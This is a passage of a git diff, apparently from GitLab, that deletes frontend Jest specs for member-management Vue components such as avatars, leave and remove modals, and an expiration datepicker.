-describe('UserActionButtons', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(UserActionButtons, {
- propsData: {
- member,
- isCurrentUser: false,
- ...propsData,
- },
- });
- };
-
- const findRemoveMemberButton = () => wrapper.find(RemoveMemberButton);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when user has `canRemove` permissions', () => {
- beforeEach(() => {
- createComponent({
- permissions: {
- canRemove: true,
- },
- });
- });
-
- it('renders remove member button', () => {
- expect(findRemoveMemberButton().exists()).toBe(true);
- });
-
- it('sets props correctly', () => {
- expect(findRemoveMemberButton().props()).toEqual({
- memberId: member.id,
- message: `Are you sure you want to remove ${member.user.name} from "${member.source.name}"`,
- title: 'Remove member',
- isAccessRequest: false,
- icon: 'remove',
- });
- });
-
- describe('when member is orphaned', () => {
- it('sets `message` prop correctly', () => {
- createComponent({
- member: orphanedMember,
- permissions: {
- canRemove: true,
- },
- });
-
- expect(findRemoveMemberButton().props('message')).toBe(
- `Are you sure you want to remove this orphaned member from "${orphanedMember.source.name}"`,
- );
- });
- });
-
- describe('when member is the current user', () => {
- it('renders leave button', () => {
- createComponent({
- isCurrentUser: true,
- permissions: {
- canRemove: true,
- },
- });
-
- expect(wrapper.find(LeaveButton).exists()).toBe(true);
- });
- });
- });
-
- describe('when user does not have `canRemove` permissions', () => {
- it('does not render remove member button', () => {
- createComponent({
- permissions: {
- canRemove: false,
- },
- });
-
- expect(findRemoveMemberButton().exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/avatars/group_avatar_spec.js b/spec/frontend/vue_shared/components/members/avatars/group_avatar_spec.js
deleted file mode 100644
index d6f5773295c..00000000000
--- a/spec/frontend/vue_shared/components/members/avatars/group_avatar_spec.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import { mount, createWrapper } from '@vue/test-utils';
-import { getByText as getByTextHelper } from '@testing-library/dom';
-import { GlAvatarLink } from '@gitlab/ui';
-import { group as member } from '../mock_data';
-import GroupAvatar from '~/vue_shared/components/members/avatars/group_avatar.vue';
-
-describe('MemberList', () => {
- let wrapper;
-
- const group = member.sharedWithGroup;
-
- const createComponent = (propsData = {}) => {
- wrapper = mount(GroupAvatar, {
- propsData: {
- member,
- ...propsData,
- },
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(getByTextHelper(wrapper.element, text, options));
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders link to group', () => {
- const link = wrapper.find(GlAvatarLink);
-
- expect(link.exists()).toBe(true);
- expect(link.attributes('href')).toBe(group.webUrl);
- });
-
- it("renders group's full name", () => {
- expect(getByText(group.fullName).exists()).toBe(true);
- });
-
- it("renders group's avatar", () => {
- expect(wrapper.find('img').attributes('src')).toBe(group.avatarUrl);
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/avatars/invite_avatar_spec.js b/spec/frontend/vue_shared/components/members/avatars/invite_avatar_spec.js
deleted file mode 100644
index 7948da7eb40..00000000000
--- a/spec/frontend/vue_shared/components/members/avatars/invite_avatar_spec.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import { mount, createWrapper } from '@vue/test-utils';
-import { getByText as getByTextHelper } from '@testing-library/dom';
-import { invite as member } from '../mock_data';
-import InviteAvatar from '~/vue_shared/components/members/avatars/invite_avatar.vue';
-
-describe('MemberList', () => {
- let wrapper;
-
- const { invite } = member;
-
- const createComponent = (propsData = {}) => {
- wrapper = mount(InviteAvatar, {
- propsData: {
- member,
- ...propsData,
- },
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(getByTextHelper(wrapper.element, text, options));
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders email as name', () => {
- expect(getByText(invite.email).exists()).toBe(true);
- });
-
- it('renders avatar', () => {
- expect(wrapper.find('img').attributes('src')).toBe(invite.avatarUrl);
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/avatars/user_avatar_spec.js b/spec/frontend/vue_shared/components/members/avatars/user_avatar_spec.js
deleted file mode 100644
index 93d8e640968..00000000000
--- a/spec/frontend/vue_shared/components/members/avatars/user_avatar_spec.js
+++ /dev/null
@@ -1,115 +0,0 @@
-import { mount, createWrapper } from '@vue/test-utils';
-import { within } from '@testing-library/dom';
-import { GlAvatarLink, GlBadge } from '@gitlab/ui';
-import { member as memberMock, orphanedMember } from '../mock_data';
-import UserAvatar from '~/vue_shared/components/members/avatars/user_avatar.vue';
-
-describe('UserAvatar', () => {
- let wrapper;
-
- const { user } = memberMock;
-
- const createComponent = (propsData = {}) => {
- wrapper = mount(UserAvatar, {
- propsData: {
- member: memberMock,
- isCurrentUser: false,
- ...propsData,
- },
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(within(wrapper.element).findByText(text, options));
-
- const findStatusEmoji = emoji => wrapper.find(`gl-emoji[data-name="${emoji}"]`);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it("renders link to user's profile", () => {
- createComponent();
-
- const link = wrapper.find(GlAvatarLink);
-
- expect(link.exists()).toBe(true);
- expect(link.attributes()).toMatchObject({
- href: user.webUrl,
- 'data-user-id': `${user.id}`,
- 'data-username': user.username,
- });
- });
-
- it("renders user's name", () => {
- createComponent();
-
- expect(getByText(user.name).exists()).toBe(true);
- });
-
- it("renders user's username", () => {
- createComponent();
-
- expect(getByText(`@${user.username}`).exists()).toBe(true);
- });
-
- it("renders user's avatar", () => {
- createComponent();
-
- expect(wrapper.find('img').attributes('src')).toBe(user.avatarUrl);
- });
-
- describe('when user property does not exist', () => {
- it('displays an orphaned user', () => {
- createComponent({ member: orphanedMember });
-
- expect(getByText('Orphaned member').exists()).toBe(true);
- });
- });
-
- describe('badges', () => {
- it.each`
- member | badgeText
- ${{ ...memberMock, user: { ...memberMock.user, blocked: true } }} | ${'Blocked'}
- ${{ ...memberMock, user: { ...memberMock.user, twoFactorEnabled: true } }} | ${'2FA'}
- `('renders the "$badgeText" badge', ({ member, badgeText }) => {
- createComponent({ member });
-
- expect(wrapper.find(GlBadge).text()).toBe(badgeText);
- });
-
- it('renders the "It\'s you" badge when member is current user', () => {
- createComponent({ isCurrentUser: true });
-
- expect(getByText("It's you").exists()).toBe(true);
- });
- });
-
- describe('user status', () => {
- const emoji = 'island';
-
- describe('when set', () => {
- it('displays the status emoji', () => {
- createComponent({
- member: {
- ...memberMock,
- user: {
- ...memberMock.user,
- status: { emoji, messageHtml: 'On vacation' },
- },
- },
- });
-
- expect(findStatusEmoji(emoji).exists()).toBe(true);
- });
- });
-
- describe('when not set', () => {
- it('does not display status emoji', () => {
- createComponent();
-
- expect(findStatusEmoji(emoji).exists()).toBe(false);
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/modals/leave_modal_spec.js b/spec/frontend/vue_shared/components/members/modals/leave_modal_spec.js
deleted file mode 100644
index 63de355a3c8..00000000000
--- a/spec/frontend/vue_shared/components/members/modals/leave_modal_spec.js
+++ /dev/null
@@ -1,91 +0,0 @@
-import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
-import { GlModal, GlForm } from '@gitlab/ui';
-import { nextTick } from 'vue';
-import { within } from '@testing-library/dom';
-import Vuex from 'vuex';
-import LeaveModal from '~/vue_shared/components/members/modals/leave_modal.vue';
-import { LEAVE_MODAL_ID } from '~/vue_shared/components/members/constants';
-import { member } from '../mock_data';
-
-jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('LeaveModal', () => {
- let wrapper;
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
- },
- });
- };
-
- const createComponent = (propsData = {}, state) => {
- wrapper = mount(LeaveModal, {
- localVue,
- store: createStore(state),
- propsData: {
- member,
- ...propsData,
- },
- attrs: {
- static: true,
- visible: true,
- },
- });
- };
-
- const findModal = () => wrapper.find(GlModal);
-
- const findForm = () => findModal().find(GlForm);
-
- const getByText = (text, options) =>
- createWrapper(within(findModal().element).getByText(text, options));
-
- beforeEach(async () => {
- createComponent();
- await nextTick();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('sets modal ID', () => {
- expect(findModal().props('modalId')).toBe(LEAVE_MODAL_ID);
- });
-
- it('displays modal title', () => {
- expect(getByText(`Leave "${member.source.name}"`).exists()).toBe(true);
- });
-
- it('displays modal body', () => {
- expect(getByText(`Are you sure you want to leave "${member.source.name}"?`).exists()).toBe(
- true,
- );
- });
-
- it('displays form with correct action and inputs', () => {
- const form = findForm();
-
- expect(form.attributes('action')).toBe('/groups/foo-bar/-/group_members/leave');
- expect(form.find('input[name="_method"]').attributes('value')).toBe('delete');
- expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
- 'mock-csrf-token',
- );
- });
-
- it('submits the form when "Leave" button is clicked', () => {
- const submitSpy = jest.spyOn(findForm().element, 'submit');
-
- getByText('Leave').trigger('click');
-
- expect(submitSpy).toHaveBeenCalled();
-
- submitSpy.mockRestore();
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/modals/remove_group_link_modal_spec.js b/spec/frontend/vue_shared/components/members/modals/remove_group_link_modal_spec.js
deleted file mode 100644
index 84da051792d..00000000000
--- a/spec/frontend/vue_shared/components/members/modals/remove_group_link_modal_spec.js
+++ /dev/null
@@ -1,106 +0,0 @@
-import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
-import { GlModal, GlForm } from '@gitlab/ui';
-import { nextTick } from 'vue';
-import { within } from '@testing-library/dom';
-import Vuex from 'vuex';
-import RemoveGroupLinkModal from '~/vue_shared/components/members/modals/remove_group_link_modal.vue';
-import { REMOVE_GROUP_LINK_MODAL_ID } from '~/vue_shared/components/members/constants';
-import { group } from '../mock_data';
-
-jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('RemoveGroupLinkModal', () => {
- let wrapper;
-
- const actions = {
- hideRemoveGroupLinkModal: jest.fn(),
- };
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_links/:id',
- groupLinkToRemove: group,
- removeGroupLinkModalVisible: true,
- ...state,
- },
- actions,
- });
- };
-
- const createComponent = state => {
- wrapper = mount(RemoveGroupLinkModal, {
- localVue,
- store: createStore(state),
- attrs: {
- static: true,
- },
- });
- };
-
- const findModal = () => wrapper.find(GlModal);
- const findForm = () => findModal().find(GlForm);
- const getByText = (text, options) =>
- createWrapper(within(findModal().element).getByText(text, options));
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('when modal is open', () => {
- beforeEach(async () => {
- createComponent();
- await nextTick();
- });
-
- it('sets modal ID', () => {
- expect(findModal().props('modalId')).toBe(REMOVE_GROUP_LINK_MODAL_ID);
- });
-
- it('displays modal title', () => {
- expect(getByText(`Remove "${group.sharedWithGroup.fullName}"`).exists()).toBe(true);
- });
-
- it('displays modal body', () => {
- expect(
- getByText(`Are you sure you want to remove "${group.sharedWithGroup.fullName}"?`).exists(),
- ).toBe(true);
- });
-
- it('displays form with correct action and inputs', () => {
- const form = findForm();
-
- expect(form.attributes('action')).toBe(`/groups/foo-bar/-/group_links/${group.id}`);
- expect(form.find('input[name="_method"]').attributes('value')).toBe('delete');
- expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
- 'mock-csrf-token',
- );
- });
-
- it('submits the form when "Remove group" button is clicked', () => {
- const submitSpy = jest.spyOn(findForm().element, 'submit');
-
- getByText('Remove group').trigger('click');
-
- expect(submitSpy).toHaveBeenCalled();
-
- submitSpy.mockRestore();
- });
-
- it('calls `hideRemoveGroupLinkModal` action when modal is closed', () => {
- getByText('Cancel').trigger('click');
-
- expect(actions.hideRemoveGroupLinkModal).toHaveBeenCalled();
- });
- });
-
- it('modal does not show when `removeGroupLinkModalVisible` is `false`', () => {
- createComponent({ removeGroupLinkModalVisible: false });
-
- expect(findModal().vm.$attrs.visible).toBe(false);
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/created_at_spec.js b/spec/frontend/vue_shared/components/members/table/created_at_spec.js
deleted file mode 100644
index cf3821baf44..00000000000
--- a/spec/frontend/vue_shared/components/members/table/created_at_spec.js
+++ /dev/null
@@ -1,61 +0,0 @@
-import { mount, createWrapper } from '@vue/test-utils';
-import { within } from '@testing-library/dom';
-import { useFakeDate } from 'helpers/fake_date';
-import CreatedAt from '~/vue_shared/components/members/table/created_at.vue';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-
-describe('CreatedAt', () => {
- // March 15th, 2020
- useFakeDate(2020, 2, 15);
-
- const date = '2020-03-01T00:00:00.000';
- const dateTimeAgo = '2 weeks ago';
-
- let wrapper;
-
- const createComponent = propsData => {
- wrapper = mount(CreatedAt, {
- propsData: {
- date,
- ...propsData,
- },
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(within(wrapper.element).getByText(text, options));
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('created at text', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('displays created at text', () => {
- expect(getByText(dateTimeAgo).exists()).toBe(true);
- });
-
- it('uses `TimeAgoTooltip` component to display tooltip', () => {
- expect(wrapper.find(TimeAgoTooltip).exists()).toBe(true);
- });
- });
-
- describe('when `createdBy` prop is provided', () => {
- it('displays a link to the user that created the member', () => {
- createComponent({
- createdBy: {
- name: 'Administrator',
- webUrl: 'https://gitlab.com/root',
- },
- });
-
- const link = getByText('Administrator');
-
- expect(link.exists()).toBe(true);
- expect(link.attributes('href')).toBe('https://gitlab.com/root');
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/expiration_datepicker_spec.js b/spec/frontend/vue_shared/components/members/table/expiration_datepicker_spec.js
deleted file mode 100644
index a1afdbc2b49..00000000000
--- a/spec/frontend/vue_shared/components/members/table/expiration_datepicker_spec.js
+++ /dev/null
@@ -1,166 +0,0 @@
-import { mount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { nextTick } from 'vue';
-import { GlDatepicker } from '@gitlab/ui';
-import { useFakeDate } from 'helpers/fake_date';
-import waitForPromises from 'helpers/wait_for_promises';
-import ExpirationDatepicker from '~/vue_shared/components/members/table/expiration_datepicker.vue';
-import { member } from '../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('ExpirationDatepicker', () => {
- // March 15th, 2020 3:00
- useFakeDate(2020, 2, 15, 3);
-
- let wrapper;
- let actions;
- let resolveUpdateMemberExpiration;
- const $toast = {
- show: jest.fn(),
- };
-
- const createStore = () => {
- actions = {
- updateMemberExpiration: jest.fn(
- () =>
- new Promise(resolve => {
- resolveUpdateMemberExpiration = resolve;
- }),
- ),
- };
-
- return new Vuex.Store({ actions });
- };
-
- const createComponent = (propsData = {}) => {
- wrapper = mount(ExpirationDatepicker, {
- propsData: {
- member,
- permissions: { canUpdate: true },
- ...propsData,
- },
- localVue,
- store: createStore(),
- mocks: {
- $toast,
- },
- });
- };
-
- const findInput = () => wrapper.find('input');
- const findDatepicker = () => wrapper.find(GlDatepicker);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('datepicker input', () => {
- it('sets `member.expiresAt` as initial date', async () => {
- createComponent({ member: { ...member, expiresAt: '2020-03-17T00:00:00Z' } });
-
- await nextTick();
-
- expect(findInput().element.value).toBe('2020-03-17');
- });
- });
-
- describe('props', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('sets `minDate` prop as tomorrow', () => {
- expect(
- findDatepicker()
- .props('minDate')
- .toISOString(),
- ).toBe(new Date('2020-3-16').toISOString());
- });
-
- it('sets `target` prop as `null` so datepicker opens on focus', () => {
- expect(findDatepicker().props('target')).toBe(null);
- });
-
- it("sets `container` prop as `null` so table styles don't affect the datepicker styles", () => {
- expect(findDatepicker().props('container')).toBe(null);
- });
-
- it('shows clear button', () => {
- expect(findDatepicker().props('showClearButton')).toBe(true);
- });
- });
-
- describe('when datepicker is changed', () => {
- beforeEach(async () => {
- createComponent();
-
- findDatepicker().vm.$emit('input', new Date('2020-03-17'));
- });
-
- it('calls `updateMemberExpiration` Vuex action', () => {
- expect(actions.updateMemberExpiration).toHaveBeenCalledWith(expect.any(Object), {
- memberId: member.id,
- expiresAt: new Date('2020-03-17'),
- });
- });
-
- it('displays toast when successful', async () => {
- resolveUpdateMemberExpiration();
- await waitForPromises();
-
- expect($toast.show).toHaveBeenCalledWith('Expiration date updated successfully.');
- });
-
- it('disables dropdown while waiting for `updateMemberExpiration` to resolve', async () => {
- expect(findDatepicker().props('disabled')).toBe(true);
-
- resolveUpdateMemberExpiration();
- await waitForPromises();
-
- expect(findDatepicker().props('disabled')).toBe(false);
- });
- });
-
- describe('when datepicker is cleared', () => {
- beforeEach(async () => {
- createComponent();
-
- findInput().setValue('2020-03-17');
- await nextTick();
- wrapper.find('[data-testid="clear-button"]').trigger('click');
- });
-
- it('calls `updateMemberExpiration` Vuex action', () => {
- expect(actions.updateMemberExpiration).toHaveBeenCalledWith(expect.any(Object), {
- memberId: member.id,
- expiresAt: null,
- });
- });
-
- it('displays toast when successful', async () => {
- resolveUpdateMemberExpiration();
- await waitForPromises();
-
- expect($toast.show).toHaveBeenCalledWith('Expiration date removed successfully.');
- });
-
- it('disables datepicker while waiting for `updateMemberExpiration` to resolve', async () => {
- expect(findDatepicker().props('disabled')).toBe(true);
-
- resolveUpdateMemberExpiration();
- await waitForPromises();
-
- expect(findDatepicker().props('disabled')).toBe(false);
- });
- });
-
- describe('when user does not have `canUpdate` permissions', () => {
- it('disables datepicker', () => {
- createComponent({ permissions: { canUpdate: false } });
-
- expect(findDatepicker().props('disabled')).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/expires_at_spec.js b/spec/frontend/vue_shared/components/members/table/expires_at_spec.js
deleted file mode 100644
index 95ae251b0fd..00000000000
--- a/spec/frontend/vue_shared/components/members/table/expires_at_spec.js
+++ /dev/null
@@ -1,86 +0,0 @@
-import { mount, createWrapper } from '@vue/test-utils';
-import { within } from '@testing-library/dom';
-import { useFakeDate } from 'helpers/fake_date';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import ExpiresAt from '~/vue_shared/components/members/table/expires_at.vue';
-
-describe('ExpiresAt', () => {
- // March 15th, 2020
- useFakeDate(2020, 2, 15);
-
- let wrapper;
-
- const createComponent = propsData => {
- wrapper = mount(ExpiresAt, {
- propsData,
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(within(wrapper.element).getByText(text, options));
-
- const getTooltipDirective = elementWrapper => getBinding(elementWrapper.element, 'gl-tooltip');
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when no expiration date is set', () => {
- it('displays "No expiration set"', () => {
- createComponent({ date: null });
-
- expect(getByText('No expiration set').exists()).toBe(true);
- });
- });
-
- describe('when expiration date is in the past', () => {
- let expiredText;
-
- beforeEach(() => {
- createComponent({ date: '2019-03-15T00:00:00.000' });
-
- expiredText = getByText('Expired');
- });
-
- it('displays "Expired"', () => {
- expect(expiredText.exists()).toBe(true);
- expect(expiredText.classes()).toContain('gl-text-red-500');
- });
-
- it('displays tooltip with formatted date', () => {
- const tooltipDirective = getTooltipDirective(expiredText);
-
- expect(tooltipDirective).not.toBeUndefined();
- expect(expiredText.attributes('title')).toBe('Mar 15, 2019 12:00am GMT+0000');
- });
- });
-
- describe('when expiration date is in the future', () => {
- it.each`
- date | expected | warningColor
- ${'2020-03-23T00:00:00.000'} | ${'in 8 days'} | ${false}
- ${'2020-03-20T00:00:00.000'} | ${'in 5 days'} | ${true}
- ${'2020-03-16T00:00:00.000'} | ${'in 1 day'} | ${true}
- ${'2020-03-15T05:00:00.000'} | ${'in about 5 hours'} | ${true}
- ${'2020-03-15T01:00:00.000'} | ${'in about 1 hour'} | ${true}
- ${'2020-03-15T00:30:00.000'} | ${'in 30 minutes'} | ${true}
- ${'2020-03-15T00:01:15.000'} | ${'in 1 minute'} | ${true}
- ${'2020-03-15T00:00:15.000'} | ${'in less than a minute'} | ${true}
- `('displays "$expected"', ({ date, expected, warningColor }) => {
- createComponent({ date });
-
- const expiredText = getByText(expected);
-
- expect(expiredText.exists()).toBe(true);
-
- if (warningColor) {
- expect(expiredText.classes()).toContain('gl-text-orange-500');
- } else {
- expect(expiredText.classes()).not.toContain('gl-text-orange-500');
- }
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/member_action_buttons_spec.js b/spec/frontend/vue_shared/components/members/table/member_action_buttons_spec.js
deleted file mode 100644
index e55d9b6be2a..00000000000
--- a/spec/frontend/vue_shared/components/members/table/member_action_buttons_spec.js
+++ /dev/null
@@ -1,43 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { MEMBER_TYPES } from '~/vue_shared/components/members/constants';
-import { member as memberMock, group, invite, accessRequest } from '../mock_data';
-import MemberActionButtons from '~/vue_shared/components/members/table/member_action_buttons.vue';
-import UserActionButtons from '~/vue_shared/components/members/action_buttons/user_action_buttons.vue';
-import GroupActionButtons from '~/vue_shared/components/members/action_buttons/group_action_buttons.vue';
-import InviteActionButtons from '~/vue_shared/components/members/action_buttons/invite_action_buttons.vue';
-import AccessRequestActionButtons from '~/vue_shared/components/members/action_buttons/access_request_action_buttons.vue';
-
-describe('MemberActionButtons', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(MemberActionButtons, {
- propsData: {
- isCurrentUser: false,
- permissions: {
- canRemove: true,
- },
- ...propsData,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- test.each`
- memberType | member | expectedComponent | expectedComponentName
- ${MEMBER_TYPES.user} | ${memberMock} | ${UserActionButtons} | ${'UserActionButtons'}
- ${MEMBER_TYPES.group} | ${group} | ${GroupActionButtons} | ${'GroupActionButtons'}
- ${MEMBER_TYPES.invite} | ${invite} | ${InviteActionButtons} | ${'InviteActionButtons'}
- ${MEMBER_TYPES.accessRequest} | ${accessRequest} | ${AccessRequestActionButtons} | ${'AccessRequestActionButtons'}
- `(
- 'renders $expectedComponentName when `memberType` is $memberType',
- ({ memberType, member, expectedComponent }) => {
- createComponent({ memberType, member });
-
- expect(wrapper.find(expectedComponent).exists()).toBe(true);
- },
- );
-});
diff --git a/spec/frontend/vue_shared/components/members/table/member_avatar_spec.js b/spec/frontend/vue_shared/components/members/table/member_avatar_spec.js
deleted file mode 100644
index a171dd830c1..00000000000
--- a/spec/frontend/vue_shared/components/members/table/member_avatar_spec.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { MEMBER_TYPES } from '~/vue_shared/components/members/constants';
-import { member as memberMock, group, invite, accessRequest } from '../mock_data';
-import MemberAvatar from '~/vue_shared/components/members/table/member_avatar.vue';
-import UserAvatar from '~/vue_shared/components/members/avatars/user_avatar.vue';
-import GroupAvatar from '~/vue_shared/components/members/avatars/group_avatar.vue';
-import InviteAvatar from '~/vue_shared/components/members/avatars/invite_avatar.vue';
-
-describe('MemberList', () => {
- let wrapper;
-
- const createComponent = propsData => {
- wrapper = shallowMount(MemberAvatar, {
- propsData: {
- isCurrentUser: false,
- ...propsData,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- test.each`
- memberType | member | expectedComponent | expectedComponentName
- ${MEMBER_TYPES.user} | ${memberMock} | ${UserAvatar} | ${'UserAvatar'}
- ${MEMBER_TYPES.group} | ${group} | ${GroupAvatar} | ${'GroupAvatar'}
- ${MEMBER_TYPES.invite} | ${invite} | ${InviteAvatar} | ${'InviteAvatar'}
- ${MEMBER_TYPES.accessRequest} | ${accessRequest} | ${UserAvatar} | ${'UserAvatar'}
- `(
- 'renders $expectedComponentName when `memberType` is $memberType',
- ({ memberType, member, expectedComponent }) => {
- createComponent({ memberType, member });
-
- expect(wrapper.find(expectedComponent).exists()).toBe(true);
- },
- );
-});
diff --git a/spec/frontend/vue_shared/components/members/table/member_source_spec.js b/spec/frontend/vue_shared/components/members/table/member_source_spec.js
deleted file mode 100644
index 8b914d76674..00000000000
--- a/spec/frontend/vue_shared/components/members/table/member_source_spec.js
+++ /dev/null
@@ -1,71 +0,0 @@
-import { mount, createWrapper } from '@vue/test-utils';
-import { getByText as getByTextHelper } from '@testing-library/dom';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import MemberSource from '~/vue_shared/components/members/table/member_source.vue';
-
-describe('MemberSource', () => {
- let wrapper;
-
- const createComponent = propsData => {
- wrapper = mount(MemberSource, {
- propsData: {
- memberSource: {
- id: 102,
- name: 'Foo bar',
- webUrl: 'https://gitlab.com/groups/foo-bar',
- },
- ...propsData,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(getByTextHelper(wrapper.element, text, options));
-
- const getTooltipDirective = elementWrapper => getBinding(elementWrapper.element, 'gl-tooltip');
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('direct member', () => {
- it('displays "Direct member"', () => {
- createComponent({
- isDirectMember: true,
- });
-
- expect(getByText('Direct member').exists()).toBe(true);
- });
- });
-
- describe('inherited member', () => {
- let sourceGroupLink;
-
- beforeEach(() => {
- createComponent({
- isDirectMember: false,
- });
-
- sourceGroupLink = getByText('Foo bar');
- });
-
- it('displays a link to source group', () => {
- createComponent({
- isDirectMember: false,
- });
-
- expect(sourceGroupLink.exists()).toBe(true);
- expect(sourceGroupLink.attributes('href')).toBe('https://gitlab.com/groups/foo-bar');
- });
-
- it('displays tooltip with "Inherited"', () => {
- const tooltipDirective = getTooltipDirective(sourceGroupLink);
-
- expect(tooltipDirective).not.toBeUndefined();
- expect(sourceGroupLink.attributes('title')).toBe('Inherited');
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/member_table_cell_spec.js b/spec/frontend/vue_shared/components/members/table/member_table_cell_spec.js
deleted file mode 100644
index ba693975a88..00000000000
--- a/spec/frontend/vue_shared/components/members/table/member_table_cell_spec.js
+++ /dev/null
@@ -1,251 +0,0 @@
-import { mount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { MEMBER_TYPES } from '~/vue_shared/components/members/constants';
-import { member as memberMock, group, invite, accessRequest } from '../mock_data';
-import MembersTableCell from '~/vue_shared/components/members/table/members_table_cell.vue';
-
-describe('MemberList', () => {
- const WrappedComponent = {
- props: {
- memberType: {
- type: String,
- required: true,
- },
- isDirectMember: {
- type: Boolean,
- required: true,
- },
- isCurrentUser: {
- type: Boolean,
- required: true,
- },
- permissions: {
- type: Object,
- required: true,
- },
- },
- render(createElement) {
- return createElement('div', this.memberType);
- },
- };
-
- const localVue = createLocalVue();
- localVue.use(Vuex);
- localVue.component('wrapped-component', WrappedComponent);
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- sourceId: 1,
- currentUserId: 1,
- ...state,
- },
- });
- };
-
- let wrapper;
-
- const createComponent = (propsData, state = {}) => {
- wrapper = mount(MembersTableCell, {
- localVue,
- propsData,
- store: createStore(state),
- scopedSlots: {
- default: `
- <wrapped-component
- :member-type="props.memberType"
- :is-direct-member="props.isDirectMember"
- :is-current-user="props.isCurrentUser"
- :permissions="props.permissions"
- />
- `,
- },
- });
- };
-
- const findWrappedComponent = () => wrapper.find(WrappedComponent);
-
- const memberCurrentUser = {
- ...memberMock,
- user: {
- ...memberMock.user,
- id: 1,
- },
- };
-
- const createComponentWithDirectMember = (member = {}) => {
- createComponent({
- member: {
- ...memberMock,
- source: {
- ...memberMock.source,
- id: 1,
- },
- ...member,
- },
- });
- };
- const createComponentWithInheritedMember = (member = {}) => {
- createComponent({
- member: { ...memberMock, ...member },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- test.each`
- member | expectedMemberType
- ${memberMock} | ${MEMBER_TYPES.user}
- ${group} | ${MEMBER_TYPES.group}
- ${invite} | ${MEMBER_TYPES.invite}
- ${accessRequest} | ${MEMBER_TYPES.accessRequest}
- `(
- 'sets scoped slot prop `memberType` to $expectedMemberType',
- ({ member, expectedMemberType }) => {
- createComponent({ member });
-
- expect(findWrappedComponent().props('memberType')).toBe(expectedMemberType);
- },
- );
-
- describe('isDirectMember', () => {
- it('returns `true` when member source has same ID as `sourceId`', () => {
- createComponentWithDirectMember();
-
- expect(findWrappedComponent().props('isDirectMember')).toBe(true);
- });
-
- it('returns `false` when member is inherited', () => {
- createComponentWithInheritedMember();
-
- expect(findWrappedComponent().props('isDirectMember')).toBe(false);
- });
-
- it('returns `true` for linked groups', () => {
- createComponent({
- member: group,
- });
-
- expect(findWrappedComponent().props('isDirectMember')).toBe(true);
- });
- });
-
- describe('isCurrentUser', () => {
- it('returns `true` when `member.user` has the same ID as `currentUserId`', () => {
- createComponent({
- member: memberCurrentUser,
- });
-
- expect(findWrappedComponent().props('isCurrentUser')).toBe(true);
- });
-
- it('returns `false` when `member.user` does not have the same ID as `currentUserId`', () => {
- createComponent({
- member: memberMock,
- });
-
- expect(findWrappedComponent().props('isCurrentUser')).toBe(false);
- });
- });
-
- describe('permissions', () => {
- describe('canRemove', () => {
- describe('for a direct member', () => {
- it('returns `true` when `canRemove` is `true`', () => {
- createComponentWithDirectMember({
- canRemove: true,
- });
-
- expect(findWrappedComponent().props('permissions').canRemove).toBe(true);
- });
-
- it('returns `false` when `canRemove` is `false`', () => {
- createComponentWithDirectMember({
- canRemove: false,
- });
-
- expect(findWrappedComponent().props('permissions').canRemove).toBe(false);
- });
- });
-
